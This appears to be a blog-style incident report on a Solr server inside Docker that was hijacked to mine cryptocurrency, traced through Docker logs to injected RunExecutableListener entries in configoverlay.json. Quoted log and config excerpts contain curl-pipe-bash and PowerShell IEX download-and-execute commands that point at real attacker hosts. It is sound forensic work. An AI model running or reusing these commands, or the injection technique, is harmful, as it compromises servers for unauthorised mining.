Prehistory:
- My friend's site started to work slowly.
- This site uses
docker
. htop
told me that all cores loaded on 100% by the process/var/tmp/sustes
with the user8983
. Tried to find out what issustes
, but Google did not help, but8983
tells that the problem inSolr
container.Tried to update
Solr
from v6.? to 7.4 and got the message:o.a.s.c.SolrCore Error while closing ... Caused by: org.apache.solr.common.SolrException: Error loading class 'solr.RunExecutableListener'
Rolled back to v6.6.4 (as the only available v6 on docker-hub https://hub.docker.com/_/solr/) as site should continue working.
In
Docker
s logs I found:[x:default] o.a.s.c.S.SolrConfigHandler Executed config commands successfully and persited to File System [{"update-listener":{ "exe":"sh", "name":"newlistener-02", "args":[ -"c", "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"/bin/"}}]
So at http://192.99.142.226:8220/mr.sh we can find the malware code which installs crypto miner (crypto miner config: http://192.99.142.226:8220/wt.conf).
Using the link http://example.com:8983/solr/YOUR_CORE_NAME/config we can find full config, but right now we need just
listener
section:"listener":[{ "event":"newSearcher", "class":"solr.QuerySenderListener", "queries":[]}, { "event":"firstSearcher", "class":"solr.QuerySenderListener", "queries":[]}, { "exe":"sh", "name":"newlistener-02", "args":["-c", "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"/bin/"}, { "exe":"sh", "name":"newlistener-25", "args":["-c", "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"/bin/"}, { "exe":"cmd.exe", "name":"newlistener-00", "args":["/c", "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"cmd.exe"}],
As we do not have such settings at
solrconfig.xml
, I found them at/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json
(the settings of this file can be found at http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay